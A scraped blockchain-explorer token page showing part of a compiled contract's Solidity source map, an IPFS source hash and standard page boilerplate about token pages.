1;502:140;516:6;513:1;510:13;502:140;;;611:14;;;607:23;;601:30;577:17;;;596:2;573:26;566:66;531:10;;502:140;;;506:3;691:1;686:2;677:6;666:9;662:22;658:31;651:42;761:2;754;750:7;745:2;737:6;733:15;729:29;718:9;714:45;710:54;702:62;;;;222:548;;;;:::o;775:173::-;843:20;;-1:-1:-1;;;;;892:31:1;;882:42;;872:70;;938:1;935;928:12;872:70;775:173;;;:::o;953:254::-;1021:6;1029;1082:2;1070:9;1061:7;1057:23;1053:32;1050:52;;;1098:1;1095;1088:12;1050:52;1121:29;1140:9;1121:29;:::i;:::-;1111:39;1197:2;1182:18;;;;1169:32;;-1:-1:-1;;;953:254:1:o;1586:328::-;1663:6;1671;1679;1732:2;1720:9;1711:7;1707:23;1703:32;1700:52;;;1748:1;1745;1738:12;1700:52;1771:29;1790:9;1771:29;:::i;:::-;1761:39;;1819:38;1853:2;1842:9;1838:18;1819:38;:::i;:::-;1809:48;;1904:2;1893:9;1889:18;1876:32;1866:42;;1586:328;;;;;:::o;2108:186::-;2167:6;2220:2;2208:9;2199:7;2195:23;2191:32;2188:52;;;2236:1;2233;2226:12;2188:52;2259:29;2278:9;2259:29;:::i;:::-;2249:39;2108:186;-1:-1:-1;;;2108:186:1:o;2299:127::-;2360:10;2355:3;2351:20;2348:1;2341:31;2391:4;2388:1;2381:15;2415:4;2412:1;2405:15;2431:1191;2524:6;2532;2585:2;2573:9;2564:7;2560:23;2556:32;2553:52;;;2601:1;2598;2591:12;2553:52;2641:9;2628:23;2670:18;2711:2;2703:6;2700:14;2697:34;;;2727:1;2724;2717:12;2697:34;2765:6;2754:9;2750:22;2740:32;;2810:7;2803:4;2799:2;2795:13;2791:27;2781:55;;2832:1;2829;2822:12;2781:55;2868:2;2855:16;2890:4;2913:2;2909;2906:10;2903:36;;;2919:18;;:::i;:::-;2965:2;2962:1;2958:10;2997:2;2991:9;3060:2;3056:7;3051:2;3047;3043:11;3039:25;3031:6;3027:38;3115:6;3103:10;3100:22;3095:2;3083:10;3080:18;3077:46;3074:72;;;3126:18;;:::i;:::-;3162:2;3155:22;3212:18;;;3246:15;;;;-1:-1:-1;3288:11:1;;;3284:20;;;3316:19;;;3313:39;;;3348:1;3345;3338:12;3313:39;3372:11;;;;3392:148;3408:6;3403:3;3400:15;3392:148;;;3474:23;3493:3;3474:23;:::i;:::-;3462:36;;3425:12;;;;3518;;;;3392:148;;;3559:6;3597:18;;;;3584:32;;-1:-1:-1;;;;;;;2431:1191:1:o;3627:260::-;3695:6;3703;3756:2;3744:9;3735:7;3731:23;3727:32;3724:52;;;3772:1;3769;3762:12;3724:52;3795:29;3814:9;3795:29;:::i;:::-;3785:39;;3843:38;3877:2;3866:9;3862:18;3843:38;:::i;:::-;3833:48;;3627:260;;;;;:::o;3892:689::-;3987:6;3995;4003;4056:2;4044:9;4035:7;4031:23;4027:32;4024:52;;;4072:1;4069;4062:12;4024:52;4112:9;4099:23;4141:18;4182:2;4174:6;4171:14;4168:34;;;4198:1;4195;4188:12;4168:34;4236:6;4225:9;4221:22;4211:32;;4281:7;4274:4;4270:2;4266:13;4262:27;4252:55;;4303:1;4300;4293:12;4252:55;4343:2;4330:16;4369:2;4361:6;4358:14;4355:34;;;4385:1;4382;4375:12;4355:34;4440:7;4433:4;4423:6;4420:1;4416:14;4412:2;4408:23;4404:34;4401:47;4398:67;;;4461:1;4458;4451:12;4398:67;4492:4;4484:13;;;;4516:6;;-1:-1:-1;4554:20:1;;;;4541:34;;3892:689;-1:-1:-1;;;;3892:689:1:o;4586:401::-;4788:2;4770:21;;;4827:2;4807:18;;;4800:30;4866:34;4861:2;4846:18;;4839:62;-1:-1:-1;;;4932:2:1;4917:18;;4910:35;4977:3;4962:19;;4586:401::o;4992:127::-;5053:10;5048:3;5044:20;5041:1;5034:31;5084:4;5081:1;5074:15;5108:4;5105:1;5098:15;5124:422;5213:1;5256:5;5213:1;5270:270;5291:7;5281:8;5278:21;5270:270;;;5350:4;5346:1;5342:6;5338:17;5332:4;5329:27;5326:53;;;5359:18;;:::i;:::-;5409:7;5399:8;5395:22;5392:55;;;5429:16;;;;5392:55;5508:22;;;;5468:15;;;;5270:270;;;5274:3;5124:422;;;;;:::o;5551:806::-;5600:5;5630:8;5620:80;;-1:-1:-1;5671:1:1;5685:5;;5620:80;5719:4;5709:76;;-1:-1:-1;5756:1:1;5770:5;;5709:76;5801:4;5819:1;5814:59;;;;5887:1;5882:130;;;;5794:218;;5814:59;5844:1;5835:10;;5858:5;;;5882:130;5919:3;5909:8;5906:17;5903:43;;;5926:18;;:::i;:::-;-1:-1:-1;;5982:1:1;5968:16;;5997:5;;5794:218;;6096:2;6086:8;6083:16;6077:3;6071:4;6068:13;6064:36;6058:2;6048:8;6045:16;6040:2;6034:4;6031:12;6027:35;6024:77;6021:159;;;-1:-1:-1;6133:19:1;;;6165:5;;6021:159;6212:34;6237:8;6231:4;6212:34;:::i;:::-;6282:6;6278:1;6274:6;6270:19;6261:7;6258:32;6255:58;;;6293:18;;:::i;:::-;6331:20;;5551:806;-1:-1:-1;;;5551:806:1:o;6362:140::-;6420:5;6449:47;6490:4;6480:8;6476:19;6470:4;6449:47;:::i;6507:168::-;6547:7;6613:1;6609;6605:6;6601:14;6598:1;6595:21;6590:1;6583:9;6576:17;6572:45;6569:71;;;6620:18;;:::i;:::-;-1:-1:-1;6660:9:1;;6507:168::o;7033:397::-;7235:2;7217:21;;;7274:2;7254:18;;;7247:30;7313:34;7308:2;7293:18;;7286:62;-1:-1:-1;;;7379:2:1;7364:18;;7357:31;7420:3;7405:19;;7033:397::o;7435:128::-;7502:9;;;7523:11;;;7520:37;;;7537:18;;:::i;7568:125::-;7633:9;;;7654:10;;;7651:36;;;7667:18;;:::i;7698:401::-;7900:2;7882:21;;;7939:2;7919:18;;;7912:30;7978:34;7973:2;7958:18;;7951:62;-1:-1:-1;;;8044:2:1;8029:18;;8022:35;8089:3;8074:19;;7698:401::o;8460:127::-;8521:10;8516:3;8512:20;8509:1;8502:31;8552:4;8549:1;8542:15;8576:4;8573:1;8566:15;9198:135;9237:3;9258:17;;;9255:43;;9278:18;;:::i;:::-;-1:-1:-1;9325:1:1;9314:13;;9198:135::o
Swarm Source
ipfs://7205abe54a65ff5c3c9f121a26fc64020afafafe568b505f24cd952e61e40fed
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.